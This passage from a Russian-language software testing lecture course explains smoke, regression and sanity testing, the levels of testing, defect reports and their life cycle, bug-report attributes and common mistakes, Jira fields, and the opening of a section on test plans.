результатам которых делается вывод о том, принимается или нет установленная
версия программного обеспечения в тестирование, эксплуатацию или на поставку
заказчику.
Для облегчения работы, экономии времени и людских ресурсов рекомендуется

внедрить автоматизацию тестовых сценариев для дымового тестирования.
2. Регрессионное тестирование (Regression Testing)
Регрессионное тестирование - это вид тестирования, направленный на проверку

изменений, сделанных в приложении или окружающей среде (починка дефекта,
слияние кода, миграция на другую операционную систему, базу данных, веб-сервер
или сервер приложения), для подтверждения того факта, что существующая ранее
функциональность работает как и прежде. Регрессионными могут быть как
функциональные, так и нефункциональные тесты.
Как правило, для регрессионного тестирования используются тест-кейсы, написанные

на ранних стадиях разработки и тестирования . Это дает гарантию того, что изменения
в новой версии приложения не повредили уже существующую функциональность.
Рекомендуется делать автоматизацию регрессионных тестов для ускорения
последующего процесса тестирования и обнаружения дефектов на ранних стадиях
разработки программного обеспечения.
76
Сам по себе термин "регрессионное тестирование", в зависимости от контекста

использования, может иметь разный смысл. Сэм Канер, к примеру, описал 3 основных
типа регрессионного тестирования:
Регрессия багов (Bug regression) - попытка доказать, что исправленная ошибка

на самом деле не исправлена.
Регрессия старых багов (Old bugs regression) - попытка доказать, что недавнее
изменение кода или данных сломало исправление старых ошибок, т.е. старые
баги стали снова воспроизводиться.
Регрессия побочного эффекта (Side effect regression) - попытка доказать, что
недавнее изменение кода или данных сломало другие части разрабатываемого
приложения.
3. Тестирование сборки (Build Verification Test)
Тестирование, направленное на определение соответствия выпущенной версии

критериям качества для начала тестирования. По своим целям является аналогом
дымового тестирования, направленного на приемку новой версии в дальнейшее
тестирование или эксплуатацию. Вглубь оно может проникать дальше, в зависимости
от требований к качеству выпущенной версии.
4. Санитарное тестирование или проверка согласованности/исправности (Sanity

Testing)
Санитарное тестирование - это узконаправленное тестирование, достаточное для

доказательства того, что конкретная функция работает согласно заявленным в
спецификации требованиям. Является подмножеством регрессионного тестирования.
Используется для определения работоспособности определенной части приложения
после изменений произведенных в ней или окружающей среде. Обычно выполняется
вручную.
Отличие санитарного тестирования от дымового (Sanity vs Smoke testing)
В некоторых источниках ошибочно полагают, что санитарное и дымовое тестирование

- это одно и тоже. Мы же полагаем, что эти виды тестирования имеют "векторы
движения"- направления в разные стороны. В отличии от дымового (Smoke testing),
санитарное тестирование (Sanity testing) направлено вглубь проверяемой функции, в
то время как дымовое - направлено вширь, для покрытия тестами как можно большего
функционала в кратчайшие сроки.
77
Уровни тестирования программного

обеспечения
Тестирование на разных уровнях производится на протяжении всего жизненного цикла
разработки и сопровождения программного обеспечения. Уровень тестирования
определяет то, над чем производятся тесты: над отдельным модулем, группой
модулей или системой, в целом. Проведение тестирования на всех уровнях системы -
это залог успешной реализации и сдачи проекта.
Уровни Тестирования
1. Компонентное или Модульное тестирование (Component or Unit Testing)
Компонентное (модульное) тестирование проверяет функциональность и ищет

дефекты в частях приложения, которые доступны и могут быть протестированы по-
отдельности (модули программ, объекты, классы, функции и т.д.). Обычно
компонентное (модульное) тестирование проводится вызывая код, который
необходимо проверить и при поддержке сред разработки, таких как фреймворки
(frameworks - каркасы) для модульного тестирования или инструменты для отладки.
Все найденные дефекты, как правило исправляются в коде без формального их
описания в системе менеджмента багов (Bug Tracking System).
Один из наиболее эффективных подходов к компонентному (модульному)

тестированию - это подготовка автоматизированных тестов до начала основного
кодирования (разработки) программного обеспечения. Это называется разработка от
тестирования (test-driven development) или подход тестирования вначале (test first
approach). При этом подходе создаются и интегрируются небольшие куски кода,
напротив которых запускаются тесты, написанные до начала кодирования. Разработка
ведется до тех пор, пока все тесты не будут успешно пройдены.
Разница между компонентным и модульным тестированием:
По-существу, эти уровни тестирования представляют одно и тоже и разница лишь в

том, что в компонентном тестировании, в качестве параметров функций, используют
реальные объекты и драйверы, а в модульном тестировании - конкретные значения.
2. Интеграционное тестирование (Integration Testing)
Интеграционное тестирование предназначено для проверки связи между

компонентами, а также взаимодействия с различными частями системы
(операционной системой, оборудованием либо связи между различными системами).
Уровни интеграционного тестирования:
78
Компонентный интеграционный уровень ( Component Integration testing)

проверяется взаимодействие между компонентами системы после проведения
компонентного тестирования.
Системный интеграционный уровень (System Integration Testing) - проверяется

взаимодействие между разными системами после проведения системного
Подходы к интеграционному тестированию:
Снизу вверх (Bottom Up Integration):
Все низкоуровневые модули, процедуры или функции собираются воедино и затем

тестируются. После чего собирается следующий уровень модулей для проведения
интеграционного тестирования. Данный подход считается полезным, если все или
практически все модули, разрабатываемого уровня, готовы. Также данный подход
помогает определить по результатам тестирования уровень готовности приложения.
Сверху вниз (Top Down Integration):
Сначала тестируются все высокоуровневые модули, затем постепенно, один за

другим, добавляются низкоуровневые. Все модули более низкого уровня
симулируются заглушками с аналогичной функциональностью, затем, по мере
готовности, они заменяются реальными активными компонентами. Таким образом, мы
проводим тестирование сверху вниз.
Большой взрыв ("Big Bang" Integration):
Все (или практически все) разработанные модули собираются вместе в виде

законченной системы или ее основной части, а затем проводится интеграционное
тестирование. Такой подход очень хорош для сохранения времени. Однако, если тест-
кейсы и их результаты записаны неверно, то сам процесс интеграции будет осложнен,
что станет преградой для команды тестирования при достижении основной цели
интеграционного тестирования.
3. Системное тестирование (System Testing)
Основной задачей системного тестирования является проверка как функциональных,

так и не функциональных требований ,дефекты в системе в целом. При этом
выявляется неверное использование ресурсов системы, непредусмотренные
комбинации данных пользовательского уровня, несовместимость с окружением,
непредусмотренные сценарии использования, отсутствующая или неверная
функциональность, неудобство использования и т.д. Для минимизации рисков,
79
связанных с особенностями поведения в системы в той или иной среде, во время

тестирования рекомендуется использовать окружение, максимально приближенное к
тому, на которое будет установлен продукт после выдачи.
Можно выделить два подхода к системному тестированию:
на базе требований (requirements based) - для каждого требования пишутся

тестовые случаи (test cases), проверяющие выполнение данного требования.
на базе случаев использования (use case based) - на основе представления о

способах использования продукта создаются случаи использования системы (Use
Cases). По конкретному случаю использования можно определить один или более
сценариев. На проверку каждого сценария пишутся тест-кейсы (test cases),
которые должны быть протестированы.
4. Приемочное тестирование или приемо-сдаточное испытание (Acceptance

Testing)
Приемочное тестирование или приемо-сдаточное испытание (Acceptance Testing)

- формальный процесс тестирования, который проверяет соответствие системы
требованиям и проводится с целью:
определения удовлетворения системой приемочным критериям;
вынесения решения заказчиком или другим уполномоченным лицом принятия

Приемочное тестирование выполняется на основании набора типичных тестовых

случаев и сценариев, разработанных на основании требований к данному
приложению.
Решение о проведении приемочного тестирования принимается, когда:
Продукт достиг необходимого уровня качества.

Заказчик ознакомлен с Планом Приемочных Работ (Product Acceptance Plan) или
иным документом, где описан набор действий, связанных с проведением
приемочного тестирования, дата проведения, ответственные и т.д.
Фаза приемочного тестирования длится до тех пор, пока заказчик не выносит решение
об отправлении приложения на доработку или выдаче приложения.
80
Схема классификации тестирования:
Рис. 2.2. Схема, на которой все способы классификации показаны одновременно.
81
82
Лекция 3, ч.1. Отчеты о дефектах
Отчёты о дефектах
Баг(дефект)— расхождение ожидаемого и фактического результата.
Ожидаемый результат — поведение системы, описанное в требованиях.
Фактический результат — поведение системы, наблюдаемое в процессе

Виды ошибок
Рис. 3.1. Виды ошибок
Ошибка — действие человека, приводящее к некорректным результатам. Этот термин

очень часто используют как наиболее универсальный, описывающий любые проблемы
(«ошибка человека», «ошибка в коде», «ошибка в документации», «ошибка
выполнения операции», «ошибка передачи данных», «ошибочный результат» и т.п.).
Ошибки, сделанные программистом, известны как «Ошибка», что ,в свою очередь,
приводит к ошибке в программе.
83
Лекция 3, ч.1. Отчеты о дефектах
Дефект — это отклонение от требований спецификаций или ожиданий пользователей.

Другими словами, дефект является ошибкой в кодировании или логике, что приводит к
сбою программы или созданию неправильного / неожиданного результата. Это могут
быть аппаратные средства, программное обеспечение, сеть, производительность,
формат или функциональность. Недостаток в компоненте или системе, способный
привести к ситуации сбоя или отказа.
Сбой — самоустраняющийся отказ или однократный отказ, устраняемый

незначительным вмешательством оператора.
Отказ — событие, заключающееся в нарушении работоспособного состояния объекта.

Это неспособность системы или компонента выполнять требуемые функции в рамках
определенных требований к производительности. Неисправность возникает при
выполнении ошибки.
Эти термины скорее относятся к теории надёжности и нечасто встречаются в

повседневной работе тестировщика, но именно сбои и отказы являются тем, что
тестировщик замечает в процессе тестирования (и отталкиваясь от чего, проводит
исследование с целью выявить дефект и его причины).
Отчёт о дефекте - это документ, описывающий ситуацию или последовательность

действий приведшую к некорректной работе объекта тестирования, с указанием
причин и ожидаемого результата.
Цели написания отчёта о дефекте
Как следует из самого определения, отчёт о дефекте пишется со следующими

основными целями:
Предоставить информацию о проблеме — уведомить проектную команду и иных

заинтересованных лиц о наличии проблемы, описать суть проблемы.
Приоритизировать проблему — определить степень опасности проблемы для

проекта и желаемые сроки её устранения.
Содействовать устранению проблемы — качественный отчёт о дефекте не только

предоставляет все необходимые подробности для понимания сути случившегося,
но также может содержать анализ причин возникновения проблемы и
рекомендации по исправлению ситуации.
84
Лекция 3, ч.2. Жизненный цикл “бага”
Жизненный цикл “бага”

Отчёт о дефекте (и сам дефект вместе с ним) проходит
определённые стадии жизненного цикла:
Обнаружен (submitted) — начальное состояние отчёта (иногда называется
«Новый» (new)), в котором он находится сразу после создания. Некоторые
средства также позволяют сначала создавать черновик (draft) и лишь потом
публиковать отчёт.
Назначен (assigned) — в это состояние отчёт переходит с момента, когда кто-то

из проектной команды назначается ответственным за исправление дефекта.
Назначение ответственного может производится решением лидера команды
разработки, коллегиально, по добровольному принципу, иным принятым в команде
способом или выполняется автоматически на основе определённых правил.
Исправлен (fixed) — в это состояние отчёт переводит ответственный за

исправление дефекта член команды после выполнения соответствующих
действий по исправлению.
Проверен (verified) — в это состояние отчёт переводит тестировщик,

удостоверившись, что дефект на самом деле был устранён. Как правило, такую
проверку выполняет тестировщик, изначально написавший отчёт о дефекте.
Закрыт (closed) — состояние отчёта, означающее, что по данному дефекту не

планируется никаких дальнейших действий. Здесь есть некоторые расхождения в
жизненном цикле, принятом в разных инструментальных средствах управления
отчётами о дефектах.
Открыт заново (reopened) — в это состояние (как правило, из состояния

«Исправлен») отчёт переводит тестировщик, удостоверившись, что дефект по-
прежнему воспроизводится на билде, в котором он уже должен быть исправлен.
Рекомендован к отклонению (to be declined) — в это состояние отчёт о дефекте

может быть переведён из множества других состояний, чтобы вынести на
рассмотрение вопрос об отклонении отчёта по той или иной причине. Если
рекомендация является обоснованной, то отчёт переводится в состояние
«Отклонён».
85
Отклонён (declined) — в это состояние отчёт переводится в случаях, подробно

описанных в пункте «Закрыт»: если средство управления отчётами о дефектах
предполагает использование этого состояния вместо состояния «Закрыт» для тех
или иных резолюций по отчёту.
Отложен (deferred) — в это состояние отчёт переводится в случае, если

исправление дефекта в ближайшее время является нерациональным или не
представляется возможным, однако есть основания полагать, что в обозримом
будущем ситуация исправится (выйдет новая версия библиотеки, вернётся из
отпуска специалист по необходимой технологии, изменятся требования заказчика
и т.д.)
Рис. 3.2. Жизненный цикл отчёта о дефекте
Использование данных отчета о дефекте

Информация по дефектам – это записи о просчетах в качестве, а значит – список
возможностей для улучшения качества на ваших будущих проектах. Если вы
собираете некую информацию о дефектах (например, после релиза или только на
больших проектах), тогда, возможно, Вы захотите улучшить этот процесс.
Информация о дефектах, которая может быть полезна для улучшения качества,

включает следующие вопросы:
86
Что было не так? Решать нужно саму проблему, а не ее симптомы. Например,

зацикливание - это симптом, а изменение индекса цикла - это проблема.
Когда была создана эта проблема? Какое именно действие при разработке
явилось ее источником? Это была проблема в требованиях? Проектировании
системы? Коде? Тестировании?
Когда проблема была выявлена? Может, она и не была сразу же устранена, но что
нас интересует: сколько она существовала до того, как мы ее обнаружили?
Каким образом была найдена эта проблема? Способ обнаружения можно

внедрить в постоянно используемую практику.
Можно ли было обнаружить ее раньше? Есть ли какой-либо процесс контроля

качества, который мог бы ее выявить, будь он эффективнее?
Сколько стоило устранение этой проблемы? Этот момент очень легко

недооценить. Убедитесь, что Вы учли процесс диагностики проблемы и всю
работу по ее устранению, которую Вам пришлось сделать, включая ре-дизайн,
переписывание кода, ре-компиляцию, переработку тестов, повторное
тестирование, повторный релиз, выпуск заплатки, формирование отчета по
дефекту, отчет по статусу проекта и т.д. (не забудьте еще возможные затраты на
исправление подпорченной репутации на рынке ПО).
Какого рода была эта проблема? Когда у Вас огромное количество дефектов, то их
категоризация облегчает анализ и обучение.
Когда Вы анализируете информацию о дефектах, то ищите те дефекты, которые

обнаруживаются регулярно, и те, затраты на устранение которых высоки. Вот как раз
таких дефектов и нужно избегать в будущем (или, по крайней мере, устранять их на
более ранней стадии разработки), именно такая тактика гарантированно будет
способствовать улучшению качества.
Атрибуты отчёта о дефекте

В зависимости от инструментального средства управления отчётами о дефектах
внешний вид их записи может немного отличаться, могут быть добавлены или убраны
отдельные поля, но концепция остаётся неизменной.
Идентификатор (identifier) представляет собой уникальное значение,

позволяющее однозначно отличить один отчёт о дефекте от другого и
используемое во всевозможных ссылках. В общем случае идентификатор отчёта о
дефекте может представлять собой просто уникальный номер, но (если позволяет
87
инструментальное средство управления отчётами) может быть и куда сложнее:

включать префиксы, суффиксы и иные осмысленные компоненты, позволяющие
быстро определить суть дефекта и часть приложения (или требований), к которой
он относится.
Краткое описание (summary) должно в предельно лаконичной форме давать

исчерпывающий ответ на вопросы «Что произошло?» ,«Где это произошло?»,
«При каких условиях это произошло?». Например: «Отсутствует логотип на
странице приветствия, если пользователь является администратором». Что
произошло? Отсутствует логотип. Где это произошло? На странице приветствия.
При каких условиях это произошло? Если пользователь является
администратором.
Подробное описание (description) представляет в развёрнутом виде

необходимую информацию о дефекте, а также (обязательно!) описание
фактического результата, ожидаемого результата и ссылку на требование (если
это возможно). В отличие от краткого описания, которое, как правило, является
одним предложением, здесь можно и нужно давать подробную информацию. Если
одна и та же проблема (вызванная одним источником) проявляется в нескольких
местах приложения, можно в подробном описании перечислить эти места.
Шаги по воспроизведению (steps to reproduce, STR) описывают действия,

которые необходимо выполнить для воспроизведения дефекта. Это поле похоже
на шаги тест-кейса, за исключением одного важного отличия: здесь действия
прописываются максимально подробно, с указанием конкретных вводимых
значений и самых мелких деталей, т.к. отсутствие этой информации в сложных
случаях может привести к невозможности воспроизведения дефекта.
Воспроизводимость (reproducibility) показывает, при каждом ли прохождении по

шагам воспроизведения дефекта удаётся вызвать его проявление. Это поле
принимает всего два значения: всегда (always) или иногда (sometimes). Можно
сказать, что воспроизводимость «иногда» означает, что тестировщик не нашёл
настоящую причину возникновения дефекта. Тестировщику нужно потратить много
времени на то, чтобы удостовериться в наличии дефекта (т.к. однократный сбой в
работе приложения мог быть вызван огромным количеством посторонних причин).
Разработчику тоже нужно потратить время, чтобы добиться проявления дефекта и
убедиться в его наличии. После внесения исправлений в приложение разработчик
фактически должен полагаться только на свой профессионализм, т.к. даже
многократное прохождение по шагам воспроизведения в таком случае не
гарантирует, что дефект был исправлен (возможно, через ещё 10–20 повторений
он бы проявился).
88
Важность (severity) показывает степень ущерба, который наносится проекту

существованием дефекта. В общем случае выделяют следующие градации
важности:
критическая (critical) — существование дефекта приводит к масштабным

последствиям катастрофического характера: потеря данных, раскрытие
конфиденциальной информации, нарушение ключевой функциональности
приложения и т.д.
высокая (major) — существование дефекта приносит ощутимые неудобства
многим пользователям в рамках их типичной деятельности: недоступность
вставки из буфера обмена, неработоспособность общепринятых
клавиатурных комбинаций, необходимость перезапуска приложения при
выполнении типичных сценариев работы.
средняя (medium) — существование дефекта слабо влияет на типичные
сценарии работы пользователей, и/или существует обходной путь достижения
цели, например: диалоговое окно не закрывается автоматически после
нажатия кнопок «OK»/«Cancel», при распечатке нескольких документов
подряд не сохраняется значение поля «Двусторонняя печать», перепутаны
направления сортировок по некоему полю таблицы.
низкая (minor) — существование дефекта редко обнаруживается
незначительным процентом пользователей и почти не влияет на их работу,
например: опечатка в глубоко вложенном пункте меню настроек, некое окно
сразу при отображении расположено неудобно (нужно перетянуть его в
удобное место), неточно отображается время до завершения операции
копирования файлов.
Срочность (priority) показывает, как быстро дефект должен быть устранён. В
общем случае выделяют следующие градации срочности:
наивысшая (ASAP, as soon as possible) срочность указывает на необходимость

устранить дефект настолько быстро, насколько это возможно. В зависимости
от контекста «настолько быстро, насколько возможно» может варьироваться
от «в ближайшем билде» до единиц минут.
высокая (high) срочность означает, что дефект следует исправить вне

очереди, т.к. его существование или уже объективно мешает работе, или
начнёт создавать такие помехи в самом ближайшем будущем.
обычная (normal) срочность означает, что дефект следует исправить в порядке

общей очерёдности. Такое значение срочности получает большинство
дефектов.
89
низкая (low) срочность означает, что, в обозримом будущем, исправление

данного дефекта не окажет существенного влияния на повышение качества
продукта.
Фактический результат (actual result) - результат, полученный после

прохождения шагов к воспроизведению.
Ожидаемый результат (expected result) - описывает ожидаемое поведение ПО

после прохождения шагов к воспроизведению.
Симптом (symptom) — позволяет классифицировать дефекты по их типичному

проявлению. Не существует никакого общепринятого списка симптомов. Более
того, далеко не в каждом инструментальном средстве управления отчётами о
дефектах есть такое поле, а там, где оно есть, его можно настроить. В качестве
примера есть следующие значения симптомов дефекта: Косметический дефект
(cosmetic flaw), Повреждение/потеря данных (data corruption/loss), Проблема в
документации (documentation issue), Некорректная операция (incorrect operation),
Проблема инсталляции (installation problem), Ошибка локализации (localization
issue), Нереализованная функциональность (missing feature), Проблема
масштабируемости (scalability), Низкая производительность (low performance),
Крах системы (system crash), Неожиданное поведение (unexpected behavior),
Недружественное поведение (unfriendly behavior), Расхождение с требованиями
(variance from specs), Предложение по улучшению (enhancement).
Комментарий (comments, additional info) — может содержать любые полезные

для понимания и исправления дефекта данные. Иными словами, сюда можно
писать всё то, что нельзя писать в остальные поля.
Приложения (attachments) — представляет собой не столько поле, сколько

список прикреплённых к отчёту о дефекте приложений (копий экрана,
вызывающих сбой файлов и т.д.)
Свойства качественных отчётов о дефектах

Отчёт о дефекте может оказаться некачественным (а следовательно, вероятность
исправления дефекта понизится), если в нём нарушено одно из следующих свойств:
Тщательное заполнение всех полей точной и корректной информацией.

Нарушение этого свойства происходит по множеству причин: недостаточный опыт
тестировщика, невнимательность, лень и т.д.
90
Правильный технический язык. Это свойство в равной мере относится и к

требованиям, и к тест-кейсам, и к отчётам о дефектах — к любой документации, а
потому не будем повторяться.
Специфичность описания шагов. Говоря о тест-кейсах, мы подчёркивали, что в их

шагах стоит придерживаться золотой середины между специфичностью и
общностью. В отчётах о дефектах предпочтение, как правило, отдаётся
специфичности по очень простой причине: нехватка какой-то мелкой детали может
привести к невозможности воспроизведения дефекта. Потому, если у вас есть хоть
малейшее сомнение в том, важна ли какая-то деталь, считайте, что она важна.
Отсутствие лишних действий и/или их длинных описаний. Чаще всего, это

свойство подразумевает, что не нужно в шагах по воспроизведению дефекта долго
и по пунктам расписывать то, что можно заменить одной фразой.
Отсутствие дубликатов. Когда в проектной команде работает большое количество

тестировщиков, то может возникнуть ситуация, при которой один и тот же дефект
будет описан несколько раз разными людьми.
Очевидность и понятность. Описывайте дефект так, чтобы у читающего Ваш отчёт

не возникло ни малейшего сомнения в том, что это действительно дефект. Лучше
всего это свойство достигается за счёт тщательного объяснения фактического и
ожидаемого результата, а также указания ссылки на требование в поле
«Подробное описание».
Прослеживаемость. Из содержащейся в качественном отчёте о дефекте

информации должно быть понятно, какую часть приложения, какие функции и
какие требования затрагивает дефект. Лучше всего это свойство достигается
правильным использованием возможностей инструментального средства
управления отчётами о дефектах: указывайте в отчёте о дефекте компоненты
приложения, ссылки на требования, тест-кейсы, смежные отчёты о дефектах
(похожих дефектах; зависимых и зависящих от данного дефектах), расставляйте
теги и т.д.
Отдельные отчёты для каждого нового дефекта. Существует два незыблемых

правила:
в каждом отчёте описывается ровно один дефект (если один и тот же дефект
проявляется в нескольких местах, то эти проявления перечисляются в
подробном описании).
при обнаружении нового дефекта создаётся новый отчёт. Нельзя для

описания нового дефекта править старые отчёты, переводя их в состояние
«открыт заново».
91
Соответствие принятым шаблонам оформления и традициям. Как и в случае с

тест-кейсами, с шаблонами оформления отчётов о дефектах проблем не
возникает: они определены имеющимся образцом или экранной формой
инструментального средства управления жизненным циклом отчётов о дефектах.
Но, что касается традиций, которые могут различаться даже в разных командах в
рамках одной компании, единственный совет: почитайте уже готовые отчёты о
дефектах, перед тем как писать свои. Это может сэкономить вам много времени и
сил.
Логика создания эффективных отчётов о дефектах

При создании отчёта о дефекте рекомендуется следовать следующему алгоритму:
1. Обнаружить дефект.
2. Понять суть проблемы.
3. Воспроизвести дефект.
4. Проверить наличие описания найденного вами дефекта в системе управления
дефектами.
5. Сформулировать суть проблемы в виде «что сделали, что получили, что ожидали
получить».
6. Заполнить поля отчёта, начиная с подробного описания.
7. После заполнения всех полей внимательно перечитать отчёт, исправить
неточности и добавить подробности.
8. Ещё раз перечитать отчёт, т.к. в пункте 6 вы точно что-то упустили.
Типичные ошибки при написании отчётов о дефектах

Ошибки оформления и формулировок:
Плохие краткие описания (summary). Формально, эта проблема относится к

оформлению, но фактически она куда опаснее: чтение отчёта о дефекте и
осознание сути проблемы начинается именно с краткого описания. Суть отчёта о
дефекте: ответить на вопросы «что?», «где?», «при каких условиях?».
Идентичные краткие и подробные описания (summary и description). Да, изредка

бывают настолько простые дефекты, что для них достаточно одного краткого
описания (например, «опечатка в имени пункта главного меню “File” (сейчас
“Fille”)»), но, если дефект связан с неким более-менее сложным поведением
приложения, стоит продумать как минимум три способа описания проблемы:
92
краткий для поля «краткое описание» (его лучше формулировать в самом

конце размышлений);
подробный для поля «подробное описание» (поясняющий и расширяющий

информацию из «краткого описания»);
ещё один краткий для последнего шага в шагах по воспроизведению дефекта.
Отсутствие в подробном описании явного указания фактического результата,

ожидаемого результата и ссылки на требование, если они важны, и их
представляется возможным указать.
Игнорирование кавычек, приводящее к искажению смысла. Как Вы поймёте такое

краткое описание, как «запись исчезает при наведении мыши»? Какая-то запись
исчезает при наведении мыши? А вот и нет. Оказывается, «поле “Запись” исчезает
при наведении мыши». Даже если не дописать слово «поле», кавычки подскажут,
что имеется в виду имя собственное, т.е. название некоего элемента.
Общие проблемы с формулировками фраз на русском и английском языках.
Лишние пункты в шагах воспроизведения.
Копии экрана в виде «копий всего экрана целиком». Чаще всего нужно сделать
копию какого-то конкретного окна приложения, а не всего экрана, тогда поможет
Alt+PrintScreen. Даже если важно захватить больше, чем одно окно, практически
любой графический редактор позволяет отрезать ненужную часть картинки.
Копии экрана, на которых не отмечена проблема. Если обвести проблемную

область красной линией, то это в разы повысит скорость и простоту понимания
сути проблемы в большинстве случаев.
Откладывание написания отчёта «на потом». Стремление сначала найти

побольше дефектов, а уже потом их описывать приводит к тому, что какие-то
важные детали (а иногда и сами дефекты!) забываются. Если «на потом»
измеряется не минутами, а часами или даже днями, то проектная команда не
получает важную информацию вовремя. Вывод простой: описывайте дефект сразу
же, как только обнаружили его.
Пунктуационные, орфографические, синтаксические и им подобные ошибки.
Логические ошибки:
Выдуманные дефекты. Одной из наиболее обидных для тестировщика причин

отклонения отчёта о дефекте является так называемое «описанное поведение не
является дефектом» («not a bug»), когда по какой-то причине корректное
поведение приложения описывается как ошибочное.
93
Отнесение расширенных возможностей приложения к дефектам. Самым ярким

примером этого случая является описание как дефекта того факта, что
приложение запускается под операционными системами, не указанными явно в
списке поддерживаемых. Лишь в очень редких случаях при разработке неких
системных утилит и тому подобного ПО, крайне зависящего от версии ОС и
потенциально способного «поломать» неподдерживаемую, это можно считать
ошибкой (с точки зрения общего здравого смысла ,такое приложение
действительно должно показывать предупреждение или даже сообщение об
ошибке и завершать работу на неподдерживаемой ОС).
Неверно указанные симптомы. Это не смертельно и всегда можно подправить, но,

если изначально отчёты будут сгруппированы по симптомам, это создаёт
множество раздражающих неудобств.
Чрезмерно заниженные (или завышенные) важность и срочность. С этой бедой

достаточно эффективно борются проведением общих собраний и пересмотром
отчётов о дефектах силами всей команды (или хотя бы нескольких человек), но,
если эти показатели занижены именно чрезмерно, есть высокая вероятность, что
пройдёт очень много времени, прежде чем до такого отчёта просто дойдёт
очередь на следующих собраниях по пересмотру.
Концентрация на мелочах в ущерб главному. Здесь стоит упомянуть

хрестоматийный пример, когда тестировщик нашёл проблему, приводящую к краху
приложения с потерей пользовательских данных, но записал её как косметический
дефект (в сообщении об ошибке, которое «перед смертью» показывало
приложение, была опечатка). Всегда думайте о том, как произошедшая с
приложением неприятность повлияет на пользователей, какие сложности они
могут из-за этого испытать, насколько это для них важно, тогда шанс увидеть
реальную проблему резко повышается.
Техническая безграмотность. Представьте себе такое краткое описание (оно же

идентично продублировано в подробном, т.е. это и есть всё описание дефекта):
«Количество найденных файлов не соответствует реальной глубине вложенности
каталога». А что должно? Это ведь почти то же самое, что «цвет кошки не
соответствует её размеру».
Указание в шагах воспроизведения неважной для воспроизведения ошибки

информации. Стремление прописать всё максимально подробно иногда
принимает нездоровую форму, когда в отчёт о дефекте начинает попадать чуть ли
не информация о погоде за окном и курс национальной валюты.
Отсутствие в шагах воспроизведения информации, важной для воспроизведения

дефекта.
94
Игнорирование «последовательных дефектов». Иногда один дефект является

следствием другого (допустим, файл повреждается при передаче на сервер, а
затем приложение некорректно обрабатывает этот повреждённый файл). Да, если
файл будет передан без повреждений, то второй дефект может не проявиться. Но
может и проявиться в другой ситуации, т.к. проблема никуда не исчезла:
приложение некорректно обрабатывает повреждённые файлы. Потому стоит
описать оба дефекта.
95
Лекция 3, ч.3. Багтрекинговые системы
Инструменты управления отчётами о

дефектах
Инструментальных средств управления отчётами о дефектах (bug tracking system,
defect management tool) очень много, к тому же ,многие компании разрабатывают свои
внутренние средства решения этой задачи. Зачастую такие инструментальные
средства являются частями инструментальных средств управления тестированием.
Общий набор функций багтрекинговых систем:
создание отчётов о дефектах, управление их жизненным циклом с учётом

контроля версий, прав доступа и разрешённых переходов из состояния в
состояние;
сбор, анализ и предоставление статистики в удобной для восприятия человеком

форме;
рассылка уведомлений, напоминаний и иных артефактов соответствующим

сотрудникам;
организация взаимосвязей между отчётами о дефектах, тест-кейсами,

требованиями и анализ таких связей с возможностью формирования
рекомендаций;
подготовка информации для включения в отчёт о результатах тестирования;
интеграция с системами управления проектами.
Наиболее популярные проекты:
96
Поля отчёта о дефекте в Jira

Project (проект) позволяет указать, к какому проекту относится дефект.
Issue type (тип записи/артефакта) позволяет указать, что именно представляет

собой создаваемый артефакт. JIRA позволяет создавать не только отчёты о
дефектах, но и множество других артефактов, типы которых можно настраивать.
Improvement (предложение по улучшению) — предложение на улучшение

компонента, функциональности.
New feature (новая особенность) — описание новой функциональности, нового

свойства, новой особенности продукта.
Task (задание) — некое задание для выполнения тем или иным участником
проектной команды.
Custom issue (произвольный артефакт) — как правило, это значение при

настройке JIRA удаляют, заменяя своими вариантами, или переименовывают в
Issue.
Summary (краткое описание) позволяет указать краткое описание дефекта.
Priority (срочность) позволяет указать срочность исправления дефекта. По

умолчанию JIRA предлагает следующие варианты:
97
Highest (самая высокая срочность).
High (высокая срочность).
Medium (обычная срочность).
Low (низкая срочность).
Lowest (самая низкая срочность).
Обратите внимание: по умолчанию поля severity (важность) нет. Но его можно

добавить.
Components (компоненты) содержит перечень компонентов приложения,

затронутых дефектом (но иногда здесь перечисляют симптомы дефектов).
Affected versions (затронутые версии) содержит перечень версий продукта, в

которых проявляется дефект.
Environment (окружение) содержит описание аппаратной и программной

конфигурации, в которой проявляется дефект.
Description (подробное описание) позволяет указать подробное описание

дефекта.
Original estimate (начальная оценка времени исправления) позволяет указать

начальную оценку того, сколько времени займёт устранение дефекта.
Remaining estimate (расчётное остаточное время исправления) показывает,

сколько времени осталось от начальной оценки.
Story points (оценочные единицы) позволяет указать сложность дефекта (или

иного артефакта) в специальных оценочных единицах, принятых в гибких
методологиях управления проектами.
Labels (метки) содержит метки (теги, ключевые слова), по которым можно

группировать и классифицировать дефекты и иные артефакты.
Epic/Theme (история/область) содержит перечень высокоуровневых меток,

описывающих относящиеся к дефекту крупные области требований, крупные
модули приложения, крупные части предметной области, объёмные
пользовательские истории и т.д.
External issue id (идентификатор внешнего артефакта) позволяет связать отчёт

о дефекте или иной артефакт с внешним документом.
Epic link (ссылка на историю/область) содержит ссылку на историю/область,

наиболее близко относящуюся к дефекту.
98
Has a story/s (истории) содержит ссылки и/или описание пользовательских

историй, связанных с дефектом (как правило, здесь приводятся ссылки на
внешние документы).
Tester (тестировщик) содержит имя автора описания дефекта.
Additional information (дополнительная информация) содержит полезную

дополнительную информацию о дефекте.
Sprint (спринт) содержит номер спринта (2–4-недельной итерации разработки

проекта в терминологии гибких методологий управления проектами), во время
которого был обнаружен дефект.
Многие дополнительные поля и возможности становятся доступными при других

операциях с дефектами (просмотром или редактированием созданного дефекта,
просмотре отчётов и т.д.)
99
Лекция 4, ч.1. Тестовая документация
Тестовая документация
Создание тестовой документации является вторым
этапом жизненного цикла ПО.
Тестовая документация включает в себя:
тест план;
тестовая стратегия;
чек-лист;
тестовый сценарий;
тестовый комплект;
пользовательская история (User Story);
отчет о дефекте.
Тест план (Test Plan) - это документ, описывающий весь объем работ по
тестированию, начиная с описания объекта, стратегии, расписания, критериев начала
и окончания тестирования, до необходимого в процессе работы оборудования,
специальных знаний, а также оценки рисков с вариантами их разрешения.
Хороший тест план должен описывать следующее:
1. Что надо тестировать? Описание объекта тестирования: системы, приложения,

оборудования.
2. Что будете тестировать? Список функций и описание тестируемой системы и её
компонент в отдельности.
3. Как будете тестировать? Стратегия тестирования, а именно: виды тестирования и
их применение по отношению к объекту тестирования.
4. Когда будете тестировать? Последовательность проведения работ: подготовка
(Test Preparation), тестирование (Testing), анализ результатов (Test Result Analisys)
в разрезе запланированных фаз разработки.
Критерии начала тестирования:
готовность тестовой платформы (тестового стенда);
законченность разработки требуемого функционала;
наличие всей необходимой документации.
100
Критерии окончания тестирования - результаты тестирования удовлетворяют

критериям качества продукта:
